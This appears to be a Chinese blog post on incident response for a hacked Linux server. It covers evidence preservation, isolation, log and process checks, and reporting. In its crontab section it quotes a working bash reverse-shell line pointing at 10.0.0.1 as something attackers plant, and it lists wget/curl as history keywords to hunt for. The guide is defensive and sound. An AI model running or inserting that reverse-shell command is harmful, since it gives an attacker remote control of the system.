服務器被黑客入侵了怎么辦?
遇到服務器被黑,很多人會采用拔網(wǎng)線、封 iptables 或者關掉所有服務的方式應急,但如果是線上服務器就不能立即采用任何影響業(yè)務的手段了,需要根據(jù)服務器業(yè)務情況分類處理。
?
下面我們看一個標準的服務器安全應急影響應該怎么做,也算是筆者從事安全事件應急近 6 年以來的一些經(jīng)驗之談,借此拋磚引玉,希望大神們不吝賜教~

如上圖,將服務器安全應急響應流程分為如下?8 個環(huán)節(jié):
?
·?發(fā)現(xiàn)安全事件(核實)
·?現(xiàn)場保護
·?服務器保護
·?影響范圍評估
·?在線分析
·?數(shù)據(jù)備份
·?深入分析
·?事件報告整理
?
接下來我們將每個環(huán)節(jié)分解,看看需要如何斷開異常連接、排查入侵源頭、避免二次入侵等。
?
核實信息(運維/安全人員)
?
根據(jù)安全事件通知源的不同,分為兩種:
?
外界通知:和報告人核實信息,確認服務器/系統(tǒng)是否被入侵?,F(xiàn)在很多企業(yè)有自己的 SRC(安全響應中心),在此之前更多的是依賴某云。這種情況入侵的核實一般是安全工程師完成。
?
自行發(fā)現(xiàn):根據(jù)服務器的異?;蚬收吓袛?,比如對外發(fā)送大規(guī)模流量或者系統(tǒng)負載異常高等,這種情況一般是運維工程師發(fā)現(xiàn)并核實的。
?
?
現(xiàn)場保護(運維)
?
我們很多人看過大陸的電視劇《重案六組》,每次接到刑事案件,刑警們第一時間就是封鎖現(xiàn)場、保存現(xiàn)場原狀。
?
同樣道理,安全事件發(fā)生現(xiàn)場,跟刑事案件發(fā)生現(xiàn)場一樣,需要保存第一現(xiàn)場重要信息,方便后面入侵檢測和取證。
保存現(xiàn)場環(huán)境(截圖)
?
相關信息采集命令如下:
?
·?進程信息:ps axu
·?網(wǎng)絡信息:netstat –a
·?網(wǎng)絡+進程:lsof / netstat -p
?
?
攻擊者登陸情況(截圖)
?
相關信息采集命令如下:
· 查看當前登錄用戶:w 或 who -a
?
?
服務器保護(運維/機房)
?
這里的現(xiàn)場保護和服務器保護是兩個不同的環(huán)節(jié),前者注重取證,后者注重環(huán)境隔離。
?
核實機器被入侵后,應當盡快將機器保護起來,避免被二次入侵或者當成跳板擴大攻擊面。
?
此時,為保護服務器和業(yè)務,避免服務器被攻擊者繼續(xù)利用,應盡快遷移業(yè)務,立即下線機器。
?
如果不能立即處理,應當通過配置網(wǎng)絡 ACL 等方式,封掉該服務器對網(wǎng)絡的雙向連接。
?
影響范圍評估(運維/開發(fā))
?
一般是運維或者程序確認影響范圍,需要運維通過日志或者監(jiān)控圖表確認數(shù)據(jù)庫或者敏感文件是否泄露,如果是代碼或者數(shù)據(jù)庫泄露了,則需要程序評估危害情況與處置方法。
?
影響訪問評估一般從下面幾點來入手:
?
· 具體業(yè)務架構(gòu):Web(PHP/Java, WebServer), Proxy, DB等。
· IP 及所處區(qū)域拓撲等:VLAN 內(nèi)服務器和應用情況。
· 確定同一網(wǎng)絡下面服務器之間的訪問:可以互相登陸,是否需要 Key 或者是密碼登錄。?
?
由此確定檢查影響范圍,確認所有受到影響的網(wǎng)段和機器。
?
在線分析(安全人員/運維)
?
這時需要根據(jù)個人經(jīng)驗快速在線分析,一般是安全人員和運維同時在線處理,不過會涉及多人協(xié)作的問題,需要避免多人操作機器時破壞服務器現(xiàn)場,造成分析困擾。
?
之前筆者遇到一個類似的問題,就是運維排查時敲錯了 iptables 的命令,將 iptables -L 敲成 iptables -i 導致 iptables-save 時出現(xiàn)異常記錄,結(jié)果安全人員上來檢查時就被這條記錄迷惑了,導致處理思路受到一定干擾。
所有用戶 History 日志檢測
?
?
·?關鍵字:wget/curl, gcc, 或者隱藏文件, 敏感文件后綴(.c,.py,conf, .pl, .sh)。
·?檢查是否存在異常用戶。
·?檢查最近添加的用戶,是否有不知名用戶或不規(guī)范提權(quán)。
·?找出 root 權(quán)限的用戶。
?
可以執(zhí)行以下命令檢查:
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'
?
反連木馬判斷
· netstat –a
· 注意非正常端口的外網(wǎng) IP
?
?
可疑進程判斷
?
·?判斷是否為木馬 ps –aux
·?重點關注文件(隱藏文件), Python腳本,Perl腳本,Shell 腳本(bash/sh/zsh)。
·?使用 which,whereis,find 定位。
?
?
Crontab 檢測
?
不要用 crontab –l 查看 crontab(繞過檢測),也有通過寫 crontab 配置文件反彈Shell 的,筆者接觸過幾次,一般都是使用的 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1。
?
系統(tǒng)日志檢測
?
·?檢查 sshd 服務配置文件 /etc/ssh/sshd_config 和系統(tǒng)認證日志 auth、message,判斷是否為口令破解攻擊。
·?/etc/ssh/sshd_config 文件確認認證方式。
·?確認日志是否被刪除或者清理過的可能(大小判斷)。
·?last/lastb 可以作為輔助,不過可能不準確。
其他機器的關聯(lián)操作
?
其他機器和這臺機器的網(wǎng)絡連接 (日志查看)、相同業(yè)務情況(同樣業(yè)務,負載均衡)。
?
整理事件報告(安全人員)
?
事件報告應包含但不限于以下幾個點:
· 分析事件發(fā)生原因:事件為什么會發(fā)生的原因。
· 分析整個攻擊流程:時間點、操作。
· 分析事件處理過程:整個事件處理過程總結(jié)是否有不足。
· 分析事件預防:如何避免事情再次發(fā)生。
· 總結(jié):總結(jié)事件原因,改進處理過程,預防類似事件再次發(fā)生。
?
?
處理中遇到的比較棘手的事情
?
日志和操作記錄全被刪了,怎么辦?
?
strace 查看 losf 進程,再嘗試恢復一下日志記錄,不行的話鏡像硬盤數(shù)據(jù)慢慢查。這個要用到一些取證工具了,dd 硬盤數(shù)據(jù)再去還原出來。
?
系統(tǒng)賬號密碼都修改了,登不進去?
?
重啟進單用戶模式修改 root 密碼,或者通過控制卡操作,或者直接還原系統(tǒng),都搞不定就直接重裝吧。
?
使用常見的入侵檢測命令未發(fā)現(xiàn)異常進程,但是機器在對外發(fā)包,這是怎么回事?
?
這種情況下很可能常用的系統(tǒng)命令已經(jīng)被攻擊者或者木馬程序替換,可以通過 md5sum 對比本機二進制文件與正常機器的 md5 值是否一致。
如果發(fā)現(xiàn)不一致,肯定是被替換了,可以從其他機器上拷貝命令到本機替換,或者 alias 為其他名稱,避免為惡意程序再次替換。
感謝您的閱讀,若是想要了解更多服務器技術(shù)干貨,關注我主頁更精彩